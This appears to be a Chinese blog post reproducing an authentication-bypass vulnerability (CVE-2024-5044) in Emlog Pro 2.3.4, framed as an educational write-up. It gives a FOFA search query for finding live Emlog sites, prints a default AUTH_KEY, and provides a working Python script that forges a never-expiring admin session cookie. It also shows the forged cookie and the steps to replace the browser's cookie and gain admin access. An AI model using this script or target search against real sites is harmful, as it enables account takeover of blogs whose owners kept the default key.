【漏洞复现】Emlog Pro 2.3.4——任意用户登入、会话持久化(CVE-2024-5044)

发布于:2024-07-08 ⋅ 阅读:(57) ⋅ 点赞:(0)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

漏洞编号:CVE-2024-5044
漏洞成因:

  • Emlog Pro 2.3.4中依赖于cookie中的AuthCookie字段来判断用户是否登录,且字段的值对每个用户都是固定的,每次登录都使用相同的cookie值。

  • 在生成AuthCookie的过程中,唯一未知的变量Auth_Key具有默认值,该值写在配置文件中。如果这个值被知晓,就可以实现任意用户登录的漏洞。

漏洞危害:

  • 会话(AuthCookie)持久化:即使用户退出,AuthCookie仍然有效,可以重新播放后台管理界面的请求包来访问后台。

  • 任意用户登录:如果知道用户的用户名或邮箱,就可以生成该用户的AuthCookie,实现任意用户登录。

漏洞复现

1)信息收集
fofa:app="EMLOG"

信心这个东西,什么时候都像个高楼大厦,但是里面会长白蚁。
在这里插入图片描述

2)查看config.php
建议在本地复现,因为需要知道config.php内容。
emlog官网:https://www.emlog.net/
搭建好环境后,查看目录下config.php

//Auth key
const AUTH_KEY = 'BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7';
//Cookie name
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G';

在这里插入图片描述
3)然后使用脚本,生成管理员cookie

import hmac
import hashlib

# 定义认证密钥,用于HMAC算法,确保认证信息的安全性
auth_key = "BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7"

# 定义认证cookie的名称,用于在客户端存储认证信息
auth_cookie_name = "EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G"

# 定义认证信息的过期时间,这里设置为0,表示永不过期
expiration = 0

# 定义当前操作的用户账号
user = "admin"

# 根据用户信息和过期时间生成用于认证的key
# 使用HMAC-MD5算法对用户信息和过期时间进行加密,生成初步的认证key
key = hmac.new(auth_key.encode(), "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest().encode()

# 使用上一步生成的key,再次对用户信息和过期时间进行加密
# 这里同样使用HMAC-MD5算法,生成最终的认证hash
auth_hash = hmac.new(key, "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest()

# 组装认证cookie的值,包括cookie名称、用户信息、过期时间和认证hash
# 这里的格式化字符串用于构建认证cookie的特定格式,方便后续的解析和验证
auth_cookie = "{}={}|{}|{}".format(auth_cookie_name, user, expiration, auth_hash)

print(auth_cookie)

在这里插入图片描述

管理员cookie为:

EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G=admin|0|37f0743009b46a952fa7daaf21f2e8f4

4)访问页面,替换cookie
在这里插入图片描述
5)刷新页面,即可获得管理员权限

在这里插入图片描述


兰有秀兮菊有芳,怀佳人兮不能忘。


网站公告

今日签到

点亮在社区的每一天
去签到